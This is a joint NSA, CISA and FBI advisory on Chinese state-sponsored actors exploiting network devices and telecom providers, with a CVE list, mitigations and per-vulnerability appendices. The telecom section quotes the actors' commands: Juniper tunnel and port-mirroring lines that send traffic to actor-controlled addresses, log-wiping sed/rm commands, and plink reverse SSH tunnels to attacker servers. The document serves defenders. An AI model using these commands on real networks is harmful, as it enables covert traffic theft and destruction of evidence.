People's Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices | CISA

Published: 2022-06-10 · Archived: 2026-04-05 21:44:11 UTC

Summary

Best Practices

• Apply patches as soon as possible
• Disable unnecessary ports and protocols
• Replace end-of-life infrastructure
• Implement a centralized patch management system

This joint Cybersecurity Advisory describes the ways in which People's Republic of China (PRC) state-sponsored cyber actors continue to exploit publicly known vulnerabilities in order to establish a broad network of compromised infrastructure. These actors use the network to exploit a wide variety of targets worldwide, including public and private sector organizations. The advisory details the targeting and compromise of major telecommunications companies and network service providers and the top vulnerabilities—primarily Common Vulnerabilities and Exposures (CVEs)—associated with network devices routinely exploited by the cyber actors since 2020.

This joint Cybersecurity Advisory was coauthored by the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI). It builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal, and territorial (SLTT) government; critical infrastructure (CI), including the Defense Industrial Base (DIB); and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).

Entities can mitigate the vulnerabilities listed in this advisory by applying the available patches to their systems, replacing end-of-life infrastructure, and implementing a centralized patch management program.

NSA, CISA, and the FBI urge U.S. and allied governments, CI, and private industry organizations to apply the recommendations listed in the Mitigations section and Appendix A: Vulnerabilities to increase their defensive posture and reduce the risk of PRC state-sponsored malicious cyber actors affecting their critical networks.

For more information on PRC state-sponsored malicious cyber activity, see CISA's China Cyber Threat Overview and Advisories webpage.

Click here for PDF.

Common vulnerabilities exploited by People's Republic of China state-sponsored cyber actors

PRC state-sponsored cyber actors readily exploit vulnerabilities to compromise unpatched network devices. Network devices, such as Small Office/Home Office (SOHO) routers and Network Attached Storage (NAS) devices, serve as additional access points to route command and control (C2) traffic and act as midpoints to conduct network intrusions on other entities. Over the last few years, a series of high-severity vulnerabilities for network devices provided cyber actors with the ability to regularly exploit and gain access to vulnerable infrastructure devices. In addition, these devices are often overlooked by cyber defenders, who struggle to maintain and keep pace with routine software patching of Internet-facing services and endpoint devices.

Since 2020, PRC state-sponsored cyber actors have conducted widespread campaigns to rapidly exploit publicly identified security vulnerabilities, also known as common vulnerabilities and exposures (CVEs). This technique has allowed the actors to gain access into victim accounts using publicly available exploit code against virtual private network (VPN) services [T1133] or public facing applications [T1190]—without using their own distinctive or identifying malware—so long as the actors acted before victim organizations updated their systems.

PRC state-sponsored cyber actors typically conduct their intrusions by accessing compromised servers called hop points from numerous China-based Internet Protocol (IP) addresses resolving to different Chinese Internet service providers (ISPs). The cyber actors typically obtain the use of servers by leasing remote access directly or indirectly from hosting providers. They use these servers to register and access operational email accounts, host C2 domains, and interact with victim networks. Cyber actors use these hop points as an obfuscation technique when interacting with victim networks.

These cyber actors are also consistently evolving and adapting tactics to bypass defenses. NSA, CISA, and the FBI have observed state-sponsored cyber actors monitoring network defenders' accounts and actions, and then modifying their ongoing campaign as needed to remain undetected. Cyber actors have modified their infrastructure and toolsets immediately following the release of information related to their ongoing campaigns. PRC state-sponsored cyber actors often mix their customized toolset with publicly available tools, especially by leveraging tools that are native to the network environment, to obscure their activity by blending into the noise or normal activity of a network.

NSA, CISA, and the FBI consider the common vulnerabilities and exposures (CVEs) listed in Table 1 to be the network device CVEs most frequently exploited by PRC state-sponsored cyber actors since 2020.

Table 1: Top network device CVEs exploited by PRC state-sponsored cyber actors

Vendor	CVE	Vulnerability Type
Cisco	CVE-2018-0171	Remote Code Execution
	CVE-2019-15271	RCE
	CVE-2019-1652	RCE
Citrix	CVE-2019-19781	RCE
DrayTek	CVE-2020-8515	RCE
D-Link	CVE-2019-16920	RCE
Fortinet	CVE-2018-13382	Authentication Bypass
MikroTik	CVE-2018-14847	Authentication Bypass
Netgear	CVE-2017-6862	RCE
Pulse	CVE-2019-11510	Authentication Bypass
	CVE-2021-22893	RCE
QNAP	CVE-2019-7192	Privilege Elevation
	CVE-2019-7193	Remote Inject
	CVE-2019-7194	XML Routing Detour Attack
	CVE-2019-7195	XML Routing Detour Attack
Zyxel	CVE-2020-29583	Authentication Bypass

Telecommunications and network service provider targeting

PRC state-sponsored cyber actors frequently utilize open-source tools for reconnaissance and vulnerability scanning. The actors have utilized open-source router specific software frameworks, RouterSploit and RouterScan [T1595.002], to identify makes, models, and known vulnerabilities for further investigation and exploitation. The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices. RouterScan is an open-source tool that easily allows for the scanning of IP addresses for vulnerabilities. These tools enable exploitation of SOHO and other routers manufactured by major industry providers, including Cisco, Fortinet, and MikroTik.

Upon gaining an initial foothold into a telecommunications organization or network service provider, PRC state-sponsored cyber actors have identified critical users and infrastructure including systems critical to maintaining the security of authentication, authorization, and accounting. After identifying a critical Remote Authentication Dial-In User Service (RADIUS) server, the cyber actors gained credentials to access the underlying Structured Query Language (SQL) database [T1078] and utilized SQL commands to dump the credentials [T1555], which contained both cleartext and hashed passwords for user and administrative accounts.

Having gained credentials from the RADIUS server, PRC state-sponsored cyber actors used those credentials with custom automated scripts to authenticate to a router via Secure Shell (SSH), execute router commands, and save the output [T1119]. These scripts targeted Cisco and Juniper routers and saved the output of the executed commands, including the current configuration of each router. After successfully capturing the command output, these configurations were exfiltrated off network to the actor's infrastructure [TA0010]. The cyber actors likely used additional scripting to further automate the exploitation of medium to large victim networks, where routers and switches are numerous, to gather massive numbers of router configurations that would be necessary to successfully manipulate traffic within the network.

Armed with valid accounts and credentials from the compromised RADIUS server and the router configurations, the cyber actors returned to the network and used their access and knowledge to successfully authenticate and execute router commands to surreptitiously route [T1599], capture [T1020.001], and exfiltrate traffic out of the network to actor-controlled infrastructure.

While other manufacturers likely have similar commands, the cyber actors executed the following commands on a Juniper router to perform initial tunnel configuration for eventual exfiltration out of the network:

set chassis fpc <slot number> pic <user defined value> tunnel-services bandwidth <user defined value>
set chassis network-services all-ethernet
set interfaces <interface-id> unit <unit number> tunnel source <local network IP address>
set interfaces <interface-id> unit <unit number> tunnel destination <actor controlled IP address>

After establishing the tunnel, the cyber actors configured the local interface on the device and updated the routing table to route traffic to actor-controlled infrastructure.

set interfaces <interface-id> unit <unit number> family inet address <local network IP address subnet>
set routing-options static route <local network IP address> next-hop <actor controlled IP address>

PRC state-sponsored cyber actors then configured port mirroring to copy all traffic to the local interface, which was subsequently forwarded through the tunnel out of the network to actor-controlled infrastructure.

set firewall family inet filter <filter name> term <filter variable> then port-mirror
set forwarding-options port-mirroring input rate 1
set forwarding-options port-mirroring family inet output interface <interface-id> next-hop <local network IP address>
set forwarding-options port-mirroring family inet output no-filter-check
set interfaces <interface-id> unit <unit number> family inet filter input <filter name>
set interfaces <interface-id> unit <unit number> family inet filter output <filter name>

Having completed their configuration changes, the cyber actors often modified and/or removed local log files to destroy evidence of their activity to further obfuscate their presence and evade detection.

sed -i -e '/<REGEX>/d' <log filepath 1>
sed -i -e '/<REGEX>/d' <log filepath 2>
sed -i -e '/<REGEX>/d' <log filepath 3>
rm -f <log filepath 4>
rm -f <log filepath 5>
rm -f <log filepath 6>

PRC state-sponsored cyber actors also utilized command line utility programs like PuTTY Link (Plink) to establish SSH tunnels [T1572] between internal hosts and leased virtual private server (VPS) infrastructure. These actors often conducted system network configuration discovery [T1016.001] on these host networks by sending hypertext transfer protocol (HTTP) requests to C2 infrastructure in order to illuminate the external public IP address.

plink.exe –N –R <local port>:<host 1>:<remote port> -pw <user defined password> -batch root@<VPS1> -P <remote SSH port>
plink.exe –N –R <local port>:<host 2>:<remote port> -pw <user defined password> -batch root@<VPS2> -P <remote SSH port>

Mitigations

NSA, CISA, and the FBI urge organizations to apply the following recommendations as well as the mitigation and detection recommendations in Appendix A, which are tailored to observed tactics and techniques. While some vulnerabilities have specific additional mitigations below, the following mitigations generally apply:

- Keep systems and products updated and patched as soon as possible after patches are released [D3-SU] . Consider leveraging a centralized patch management system to automate and expedite the process.
- Immediately remove or isolate suspected compromised devices from the network [D3-ITF] [D3-OTF].
- Segment networks to limit or block lateral movement [D3-NI].
- Disable unused or unnecessary network services, ports, protocols, and devices [D3-ACH] [D3-ITF] [D3-OTF].
- Enforce multifactor authentication (MFA) for all users, without exception [D3-MFA].
- Enforce MFA on all VPN connections [D3-MFA]. If MFA is unavailable, enforce password complexity requirements [D3-SPP].
- Implement strict password requirements, enforcing password complexity, changing passwords at a defined frequency, and performing regular account reviews to ensure compliance [D3-SPP].
- Perform regular data backup procedures and maintain up-to-date incident response and recovery procedures.
- Disable external management capabilities and set up an out-of-band management network [D3-NI].
- Isolate Internet-facing services in a network Demilitarized Zone (DMZ) to reduce the exposure of the internal network [D3-NI].
- Enable robust logging of Internet-facing services and monitor the logs for signs of compromise [D3-NTA] [D3-PM].
- Ensure that you have dedicated management systems [D3-PH] and accounts for system administrators. Protect these accounts with strict network policies [D3-UAP].
- Enable robust logging and review of network infrastructure accesses, configuration changes, and critical infrastructure services performing authentication, authorization, and accounting functions [D3-PM].
- Upon responding to a confirmed incident within any portion of a network, response teams should scrutinize network infrastructure accesses, evaluate potential lateral movement to network infrastructure and implement corrective actions commensurate with their findings.

Resources

Refer to us-cert.cisa.gov/china, https://www.ic3.gov/Home/IndustryAlerts, and https://www.nsa.gov/cybersecurity-guidance for previous reporting on People's Republic of China state-sponsored malicious cyber activity.

U.S. government and critical infrastructure organizations, should consider signing up for CISA's cyber hygiene services, including vulnerability scanning, to help reduce exposure to threats.

U.S. Defense Industrial Base (DIB) organizations, should consider signing up for the NSA Cybersecurity Collaboration Center's DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration. For more information on eligibility criteria and how to enroll in these services, email dib_defense@cyber.nsa.gov.

Additional References

- CISA (2022), Weak Security Controls and Practices Routinely Exploited for Initial Access. https://www.cisa.gov/uscert/ncas/alerts/aa22-137a
- CISA (2022) 2021 Top Routinely Exploited Vulnerabilities. https://www.cisa.gov/uscert/ncas/alerts/aa22-117a
- NSA (2021), Selecting and Hardening Remote Access VPN Solutions. https://media.defense.gov/2021/Sep/28/2002863184/-1/-1/0/CSI_SELECTING-HARDENING-REMOTE-ACCESS-VPNS-20210928.PDF
- NSA (2021), Chinese State-Sponsored Cyber Operations: Observed TTPs. https://media.defense.gov/2021/Jul/19/2002805003/-1/-1/0/CSA_CHINESE_STATE-SPONSORED_CYBER_TTPS.PDF
- CISA (2021), Exploitation of Pulse Connect Secure Vulnerabilities. https://www.cisa.gov/uscert/ncas/alerts/aa21-110a
- NSA (2020), Chinese State-Sponsored Actors Exploit Publicly Known Vulnerabilities. https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF
- CISA (2020), Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. https://www.cisa.gov/uscert/ncas/alerts/aa20-258a
- NSA (2020), Performing Out-of-Band Network Management. https://media.defense.gov/2020/Sep/17/2002499616/-1/-1/0/PERFORMING_OUT_OF_BAND_NETWORK_MANAGEMENT202
- CISA (2020), Critical Vulnerability in Citrix Application Delivery Controller, Gateway, and SD-WAN WANOP. https://www.cisa.gov/uscert/ncas/alerts/aa20-020a
- NSA (2019), Mitigating Recent VPN Vulnerabilities. https://media.defense.gov/2019/Oct/07/2002191601/-1/-1/0/Mitigating%20Recent%20VPN%20Vulnerabilities%20-%20Copy.pdf
- NSA (2019), Update and Upgrade Software Immediately. https://media.defense.gov/2019/Sep/09/2002180319/-1/-1/0/Update%20and%20Upgrade%20Software%20Immediately.docx%20-%20Copy.pdf

Contact Information

To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov✉. To report computer intrusion or cybercrime activity related to information found in this advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI's 24/7 Cyber Watch at 855-292-3937 or by email at CyWatch@fbi.gov✉. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov✉.

Media Inquiries / Press Desk:

- NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov✉
- CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov✉
- FBI National Press Office, 202-324-3691, npo@fbi.gov✉

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Purpose

This advisory was developed by NSA, CISA, and the FBI in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Appendix A: Vulnerabilities

Table 2: Information on Cisco CVE-2018-0171

Cisco CVE-2018-0171	CVSS 3.0: 9.8 (Critical)

Vulnerability Description

A vulnerability in the Smart Install feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial of service (DoS) condition, or to execute arbitrary code on an affected device. The vulnerability is due to improper validation of packet data. An attacker could exploit this vulnerability by sending a crafted Smart Install message to an affected device on TCP port 4786. A successful exploit could allow the attacker to cause a buffer overflow on the affected device, which could have the following impacts: Triggering a reload of the device, Allowing the attacker to execute arbitrary code on the device, causing an indefinite loop on the affected device that triggers a watchdog crash.

Recommended Mitigations

- Cisco has released software updates that address this vulnerability.
- In addition, the Cisco Smart Install feature is highly recommended to be disabled to reduce exposure.

Detection Methods

- CISCO IOS Software Checker

Vulnerable Technologies and Versions

The vulnerability affects Cisco devices that are running a vulnerable release of Cisco IOS or IOS XE software and have the smart install client feature enabled. Only smart install client switches are affected by this vulnerability described in this advisory.

References

http://www.securityfocus.com/bid/103538
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-04
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-05
https://www.darkreading.com/perimeter/attackers-exploit-cisco-switch-issue-as-vendor-warns-of-yet-another-critical-flaw/d/d-id/1331490
http://www.securitytracker.com/id/1040580

Table 3: Information on Cisco CVE-2019-15271

Cisco CVE-2019-15271	CVSS 3.0: 8.8 (High)

Vulnerability Description

A vulnerability in the web-based management interface of certain Cisco Small Business RV Series Routers could allow an authenticated, remote attacker to execute arbitrary commands with root privileges. The attacker must have either a valid credential or an active session token. The vulnerability is due to lack of input validation of the HTTP payload. An attacker could exploit this vulnerability by sending a malicious HTTP request to the web-based management interface of the targeted device. A successful exploit could allow the attacker to execute commands with root privileges.

Recommended Mitigations

Cisco CVE-2019-15271	CVSS 3.0: 8.8 (High)

- Cisco has released free software updates that address the vulnerability described in this advisory.
- Cisco fixed this vulnerability in firmware releases 4.2.3.10 and later for the Cisco RV042 Dual WAN VPN Router and RV042G Dual Gigabit WAN VPN Router.
- Administrators can reduce the attack surface by disabling the Remote Management feature if there is no operational requirement to use it. Note that the feature is disabled by default.

Detection Methods

- N/A

Vulnerable Technologies and Versions

This vulnerability affects the following Cisco Small Business RV Series Routers if they are running a firmware release earlier than 4.2.3.10:

- RV016 Multi-WAN VPN Router
- RV042 Dual WAN VPN Router
- RV042G Dual Gigabit WAN VPN Router
- RV082 Dual WAN VPN Router

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191106-sbrv-cmd-x

Table 4: Information on Cisco CVE-2019-1652

Cisco CVE-2019-1652	CVSS 3.0: 7.2 (High)

Vulnerability Description

A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote attacker with administrative privileges on an affected device to execute arbitrary commands. The vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending malicious HTTP POST requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying Linux shell as root. Cisco has released firmware updates that address this vulnerability.

Recommended Mitigations

- Cisco has released free software updates that address the vulnerability described in this advisory
- This vulnerability is fixed in RV320 and RV325 Dual Gigabit WAN VPN Routers Firmware Release 1.4.2.22 and later.
- If the Remote Management feature is enabled, Cisco recommends disabling it to reduce exposure.

Detection Methods

- N/A

Vulnerable Technologies and Versions

Cisco CVE-2019-1652	CVSS 3.0: 7.2 (High)
This vulnerability affects Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers running firmware releases 1.4.2.15 through 1.4.2.20.	
References http://www.securityfocus.com/bid/106728 https://seclists.org/bugtraq/2019/Mar/55 https://www.exploit-db.com/exploits/46243/ https://www.exploit-db.com/exploits/46655/ http://seclists.org/fulldisclosure/2019/Mar/61 http://packetstormsecurity.com/files/152262/Cisco-RV320-Command-Injection.html http://packetstormsecurity.com/files/152305/Cisco-RV320-RV325-Unauthenticated-Remote-Code-Execution.html https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject	

Table 5: Information on Citrix CVE-2019-19781

Citrix CVE-2019-19781	CVSS 3.0: 9.8 (Critical)
Vulnerability Description An issue was discovered in Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.	
Recommended Mitigations • Implement the appropriate refresh according to the vulnerability details outlined by vendor: Citrix: Mitigation Steps for CVE-2019-19781. • If possible, only allow the VPN to communicate with known Internet Protocol (IP) addresses (allow-list).	
Detection Methods • CISA has developed a free detection tool for this vulnerability: cisa.gov/check-cve-2019-19781: Test a host for susceptibility to CVE-2019-19781. • Nmap developed a script that can be used with the port scanning engine: CVE-2019-19781 – Critix ADC Path Traversal #1893. • Citrix also developed a free tool for detecting compromises of Citrix ADC Appliances related to CVE-2019-19781: Citrix / CVE-2019-19781: IOC Scanner for CVE-2019-19781. • CVE-2019-19781 is commonly exploited to install web shell malware. The National Security Agency (NSA) provides guidance on detecting and preventing web shell malware at https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF and signatures at https://github.com/nsacyber/Mitigating-Web-Shells.	
Vulnerable Technologies and Versions The vulnerability affects the following Citrix product versions on all supported platforms: • Citrix ADC and Citrix Gateway version 13.0 all supported builds before 13.0.47.24 • NetScaler ADC and NetScaler Gateway version 12.1 all supported builds before 12.1.55.18 • NetScaler ADC and NetScaler Gateway version 12.0 all supported builds before 12.0.63.13 • NetScaler ADC and NetScaler Gateway version 11.1 all supported builds before 11.1.63.15	

Citrix CVE-2019-19781 CVSS 3.0: 9.8 (Critical)
• NetScaler ADC and NetScaler Gateway version 10.5 all supported builds before 10.5.70.12 • Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b
References https://support.citrix.com/article/CTX267027

Table 6: Information on DrayTek CVE-2020-8515

DrayTek CVE-2020-8515 CVSS 3.0: 9.8 (Critical)
Vulnerability Description DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.
Recommended Mitigations • Users of affected models should upgrade to 1.5.1 firmware or later as soon as possible, the updated firmware addresses this issue. • Disable the remote access on your router if you don't need it. • Disable remote access (admin) and SSL VPN. The ACL does not apply to SSL VPN connections (Port 443) so you should also temporarily disable SSL VPN until you have updated the firmware. • Always back up your config before doing an upgrade. • After upgrading, check that the web interface now shows the new firmware version. • Enable syslog logging for monitoring if there are abnormal events.
Detection Methods • Check that no additional remote access profiles (VPN dial-in, teleworker or LAN to LAN) or admin users (for router admin) have been added. • Check if any ACL (Access Control Lists) have been altered.
Vulnerable Technologies and Versions • This vulnerability affects the Vigor3900/2960/300B before firmware version 1.5.1.
References https://draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/ http://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html

Table 7: Information on D-Link CVE-2019-16920

D-Link CVE-2019-16920 CVSS 3.0: 9.8 (Critical)
Vulnerability Description Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
Recommended Mitigations • Recommendation is to replace affected devices with ones that are currently supported by the vendor. End-of-life devices should not be used.
Detection Methods • HTTP packet inspection to look for arbitrary input to the “ping_test” command
Vulnerable Technologies and Versions • DIR DIR-655C, DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-82
References https://www.kb.cert.org/vuls/id/766427 https://fortiguard.com/zeroday/FG-VD-19-117 https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3 https://www.seebug.org/vuldb/ssvid-98079

Table 8: Information on Fortinet CVE-2018-13382

Fortinet CVE-2018-13382 CVSS 3.0: 7.5 (High)
Vulnerability Description An Improper Authorization vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to modify the password of an SSL VPN web portal user via specially crafted HTTP requests.
Recommended Mitigations • Upgrade to FortiOS versions 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above and/or upgrade to FortiProxy version 1.2.9 or above or version 2.0.1 or above. • SSL VPN users with local authentication can mitigate the impact by enabling Two-Factor Authentication (2FA). • Migrate SSL VPN user authentication from local to remote (LDAP or RADIUS). • Totally disable the SSL-VPN service (both web-mode and tunnel-mode) by applying the following CLI commands: config vpn ssl settings, unset source-interface, end.

Fortinet CVE-2018-13382	CVSS 3.0: 7.5 (High)

Detection Methods

- HTTP packet inspection to look for specially crafted packets containing the magic key for the SSL VPN password modification

Vulnerable Technologies and Versions

This vulnerability affects the following products:

- Fortinet FortiOS 6.0.0 to 6.0.4
- Fortinet FortiOS 5.6.0 to 5.6.8
- Fortinet FortiOS 5.4.1 to 5.4.10
- Fortinet FortiProxy 2.0.0
- Fortinet FortiProxy 1.2.8 and below
- Fortinet FortiProxy 1.1.6 and below
- Fortinet FortiProxy 1.0.7 and below

FortiOS products are vulnerable only if the SSL VPN service (web-mode or tunnel-mode) is enabled and users with local authentication.

References

https://fortiguard.com/psirt/FG-IR-18-389
https://fortiguard.com/advisory/FG-IR-18-389
https://www.fortiguard.com/psirt/FG-IR-20-231

Table 9: Information on Mikrotik CVE-2018-14847

Mikrotik CVE-2018-14847	CVSS 3.0: 9.1 (Critical)

Vulnerability Description

MikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface.

Recommended Mitigations

- Upgrade WinBox and RouterOS and change passwords
- Firewall the WinBox port from the public interface and from untrusted networks

Detection Methods

- Use export command to see all your configuration and inspect for any abnormalities, such as unknown SOCKS proxy settings and scripts.

Vulnerable Technologies and Versions

This vulnerability affected the following MikroTik products:

- All bugfix releases from 6.30.1 to 6.40.7

Mikrotik CVE-2018-14847	CVSS 3.0: 9.1 (Critical)

- All current releases from 6.29 to 6.42
- All RC releases from 6.29rc1 to 6.43rc3

References

https://blog.mikrotik.com/security/winbox-vulnerability.html

Table 10: Information on Netgear CVE-2017-6862

Netgear CVE-2017-6862	CVSS 3.0: 9.8 (Critical)

Vulnerability Description

NETGEAR WNR2000v3 devices before 1.1.2.14, WNR2000v4 devices before 1.0.0.66, and WNR2000v5 devices before 1.0.0.42 allow authentication bypass and remote code execution via a buffer overflow that uses a parameter in the administration webapp. The NETGEAR ID is PSV-2016-0261.

Recommended Mitigations

- NETGEAR has released firmware updates that fix the unauthenticated remote code execution vulnerability for all affected products.

Detection Methods

- HTTP packet inspection to find any specially crafted packets attempting a buffer overflow through specialized parameters.

Vulnerable Technologies and Versions

This vulnerability affects the following products:

- WNR2000v3 before version 1.1.2.14
- WNR2000v4 before version 1.0.0.66
- WNR2000v5 before version 1.0.0.42
- R2000

References

https://kb.netgear.com/000038542/Security-Advisory-for-Unauthenticated-Remote-Code-Execution-on-Some-Routers-PSV-2016-0261
https://www.on-x.com/sites/default/files/on-x_-_security_advisory_-_netgear_wnr2000v5_-_cve-2017-6862.pdf
http://www.securityfocus.com/bid/98740

Table 11: Information on Pulse CVE-2019-11510

Pulse CVE-2019-11510	CVSS 3.0: 10 (Critical)

Vulnerability Description

Pulse CVE-2019-11510	CVSS 3.0: 10 (Critical)
In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability.	
Recommended Mitigations • Upgrade to the latest Pulse Secure VPN. • Stay alert to any scheduled tasks or unknown files/executables. • Create detection/protection mechanisms that respond on directory traversal (/../../../) attempts to read local system files.	
Detection Methods • CISA developed a tool to help determine if IOCs exist in the log files of a Pulse Secure VPN Appliance for CVE-2019-11510: cisa.gov/check-your-pulse. • Nmap developed a script that can be used with the port scanning engine: http-vuln-cve2019- 11510.nse #1708.	
Vulnerable Technologies and Versions This vulnerability affects the following Pulse Connect Secure products: • 9.0R1 to 9.0R3.3 • 8.3R1 to 8.3R7 • 8.2R1 to 8.2R12	
References https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/	

Table 12: Information on Pulse CVE-2021-22893

Pulse CVE-2021-22893	CVSS 3.0: 10 (Critical)
Vulnerability Description Pulse Connect Secure 9.0R3/9.1R1 and higher is vulnerable to an authentication bypass vulnerability exposed by the Windows File Share Browser and Pulse Secure Collaboration features of Pulse Connect Secure that can allow an unauthenticated user to perform remote arbitrary code execution on the Pulse Connect Secure gateway. This vulnerability has been exploited in the wild.	
Recommended Mitigations • Updating such systems to PCS 9.1R11.4. • Run the PCS Integrity Assurance utility. • Enable Unauthenticated Request logging. • Enable remote logging. • Pulse Secure has published a Workaround-2104.xml file that contains mitigations to protect against this and other vulnerabilities. • Monitor capabilities in open source scanners.	

Pulse CVE-2021-22893 CVSS 3.0: 10 (Critical)
Detection Methods • Log correlation between the authentication servers responsible for LDAP and RADIUS authentication and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging. • The Pulse Security Check Tool. • A 'recovery' file not present in legitimate versions. https://ive-host/dana-na/auth/recover[.]cgi?token=<varies>.
Vulnerable Technologies and Versions This vulnerability affects Pulse Connect Secure 9.0R3/9.1R1 and higher.
References https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/ https://blog.pulsesecure.net/pulse-connect-secure-security-update/ https://kb.cert.org/vuls/id/213092 https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/ https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html

Table 13: Information on QNAP CVE-2019-7192

QNAP CVE-2019-7192 CVSS 3.0: 9.8 (Critical)
Vulnerability Description This improper access control vulnerability allows remote attackers to gain unauthorized access to the system. To fix these vulnerabilities, QNAP recommend updating Photo Station to their latest versions.
Recommended Mitigations Update Photo Station to versions: • QTS 4.4.1 Photo Station 6.0.3 and later • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later • QTS 4.2.6 Photo Station 5.2.11 and later
Detection Methods • N/A
Vulnerable Technologies and Versions This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.
References

QNAP CVE-2019-7192	CVSS 3.0: 9.8 (Critical)
https://www.qnap.com/zh-tw/security-advisory/nas-201911-25 http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html	

Table 14: Information on QNAP CVE- 2019-7193

QNAP CVE-2019-7193	CVSS 3.0: 9.8 (Critical)
Vulnerability Description This improper input validation vulnerability allows remote attackers to inject arbitrary code to the system. To fix the vulnerability, QNAP recommend updating QTS to their latest versions.	
Recommended Mitigations Update QTS to versions: • QTS 4.4.1 build 20190918 and later • QTS 4.3.6 build 20190919 and later	
Detection Methods • N/A	
Vulnerable Technologies and Versions This vulnerability affects QNAP QTS 4.3.6 and 4.4.1 or earlier.	
References https://www.qnap.com/zh-tw/security-advisory/nas-201911-25 http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html	

Table 15: Information on QNAP CVE-2019-7194

QNAP CVE-2019-7194	CVSS 3.0: 9.8 (Critical)
Vulnerability Description This external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions.	
Recommended Mitigations Update Photo Station to versions: • QTS 4.4.1 Photo Station 6.0.3 and later • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later • QTS 4.2.6 Photo Station 5.2.11 and later	

QNAP CVE-2019-7194	CVSS 3.0: 9.8 (Critical)

Detection Methods

- N/A

Vulnerable Technologies and Versions

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
